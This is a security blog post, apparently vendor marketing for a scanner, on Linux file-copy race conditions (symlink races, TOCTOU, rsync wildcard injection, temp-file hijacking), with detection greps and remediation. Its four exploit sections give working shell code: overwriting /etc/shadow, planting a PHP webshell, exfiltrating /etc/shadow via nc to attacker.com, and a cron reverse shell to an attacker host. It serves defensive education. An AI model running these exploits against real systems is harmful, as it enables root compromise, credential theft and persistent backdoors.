Copy2Fail: Unsafe File Copy = Privilege Escalation on Linux

The humble cp command hides deadly flaws. Symlink races, TOCTOU bugs, and rsync injection turn file copies into root access.

TL;DR

  • Symlink race: replace target with symlink to /etc/shadow before cp writes
  • TOCTOU: swap file between permission check and copy — deploy a webshell
  • Rsync wildcard injection: filenames that become rsync flags
  • Temp file hijack: predict /tmp names to plant a persistent backdoor

What is Copy2Fail?

A class of vulnerabilities where cp, rsync, install, mv are exploited through race conditions, symlink attacks, and permission flaws. Found everywhere — cron jobs, backup scripts, CI/CD pipelines. One unsafe cp in a root cron = full system compromise.

How It Works

Linux file operations are NOT atomic. Between checking a file and copying it, another process can change it. Between creating a file and writing to it, an attacker can swap it with a symlink. These tiny time gaps are the vulnerability — cp, rsync, and install all trust the filesystem blindly.
# What SHOULD happen:
cp source /tmp/destination    # writes to /tmp/destination

# What ACTUALLY happens (race window):
# 1. cp opens /tmp/destination for writing
# 2. ATTACKER: rm /tmp/destination && ln -s /etc/shadow /tmp/destination
# 3. cp writes to /etc/shadow (following the symlink!)

# The gap between step 1 and 3 is microseconds
# But an attacker running in a loop WILL win the race

Are You Vulnerable? Check Now

Search your server for unsafe patterns. If any match — you're at risk.
# 1. Find root cron jobs that copy to /tmp
sudo crontab -l | grep -i "cp.*tmp|rsync.*tmp|mv.*tmp"
crontab -l | grep -i "cp.*tmp"

# 2. Find scripts using predictable temp files (no mktemp)
grep -r "TMPFILE=|/tmp/" /usr/local/bin/ /opt/ --include="*.sh" | grep -v mktemp

# 3. Check for rsync with wildcards on user directories
grep -r "rsync.**" /etc/cron* /usr/local/bin/ --include="*.sh"

# 4. Find setuid binaries that copy files
find / -perm -4000 -exec strings {} \; 2>/dev/null | grep -l "cp |rsync |install "

# 5. Check /tmp mount options (should have nosuid,noexec)
mount | grep "/tmp"
# If missing nosuid,nodev,noexec → /tmp is a playground for attackers
Any root script that copies to /tmp without mktemp is exploitable. Any rsync with wildcards on user dirs is injectable.

Exploit 1 — Symlink Race

Root script copies to a predictable path. Attacker replaces the target with a symlink to /etc/shadow. Script follows it and overwrites passwords.
Symlink Race — Step by Step
SOURCE
/var/app/config.bak
cp
TARGET
/tmp/config_restore
Root cron job starts cp...
# Vulnerable: cp /var/app/config.bak /tmp/config_restore (runs as root)

# Exploit — race to create symlink before cp writes
while true; do
  rm -f /tmp/config_restore
  ln -s /etc/shadow /tmp/config_restore
done &

# Prepare payload with known root password hash
echo 'root:$6$salt$attackerhash:19000:0:99999:7:::' > /var/app/config.bak
# Wait for cron → root password overwritten
Full system compromise from an unprivileged user.

Exploit 2 — TOCTOU Race Condition

Script checks if file is safe, then copies it. Between check and copy — swap the file. Webshell deployed.
TOCTOU Race — Time-of-Check vs Time-of-Use
CHECK
file "$UPLOAD" → "ASCII text" ✓
GAP
~ 0.001 seconds ~
USE
cp "$UPLOAD" /var/www/html/
# Vulnerable deploy script checks file type then copies:
# if file "$UPLOAD" | grep -q "text"; then cp "$UPLOAD" /var/www/html/; fi

# Exploit — win the race
UPLOAD="/tmp/uploads/payload"
while true; do
  echo "Hello" > "$UPLOAD"          # passes "text" check
  sleep 0.001
  echo '<?php system($_GET["c"]); ?>' > "$UPLOAD"  # swapped to webshell
done &

# Script checks → "text" → copies → webshell is live
# curl target/payload?c=whoami → RCE achieved

Exploit 3 — Rsync Wildcard Injection

Rsync with wildcards on user dirs — filenames become rsync flags. Exfiltrate /etc/shadow or overwrite arbitrary files.
# Vulnerable: rsync -avz /home/user/uploads/* backup@srv:/backups/

# Craft filenames that rsync reads as flags
cd /home/user/uploads/
touch -- '-e sh exploit.sh'
echo 'cat /etc/shadow | nc attacker.com 4444' > exploit.sh

# Rsync expands wildcard:
# rsync -avz -e sh exploit.sh backup@srv:/backups/
# -e flag → uses exploit.sh as remote shell → exfiltrates /etc/shadow
Crafted filenames become commands. Data stolen.

Exploit 4 — Temp File Hijacking

Scripts with predictable /tmp names let attackers pre-create symlinks. Root writes to the symlink — attacker controls destination.
# Vulnerable root script:
# TMPFILE="/tmp/install_setup.log"
# cp binary "$TMPFILE" && chmod +x "$TMPFILE" && "$TMPFILE"

# Pre-create symlink → root writes to our target
ln -sf /etc/cron.d/backdoor /tmp/install_setup.log

# Prepare reverse shell cron entry
echo '* * * * * root bash -i >& /dev/tcp/ATTACKER/4444 0>&1' > binary

# Root copies it → writes to /etc/cron.d/backdoor → persistent shell
Persistent root backdoor. Reverse shell every minute.

Remediation

Never trust file paths. Always use atomic operations:
# 1. Unpredictable temp files
TMPFILE=$(mktemp /tmp/myapp.XXXXXX)
trap 'rm -f "$TMPFILE"' EXIT

# 2. No symlink following
cp --no-dereference source "$TMPFILE"

# 3. Secure /tmp mount
# /etc/fstab:
tmpfs /tmp tmpfs nosuid,nodev,noexec 0 0

# 4. Stop wildcard injection in rsync
rsync -avz -- /uploads/ backup:/backups/
#            ^^ double-dash stops flag parsing

# 5. Atomic file replacement
cp source "$TMPFILE"
mv "$TMPFILE" /final/path  # rename is atomic
mktemp + --no-dereference + atomic mv = race conditions eliminated.

Scan with TEPTEZ. Find this before attackers do.

TEPTEZ detects unsafe file operations, symlink vulnerabilities, and race conditions in your scripts and cron jobs. Check out our DAST AI — it scans, finds, and gives you the fix.

Try TEPTEZ Free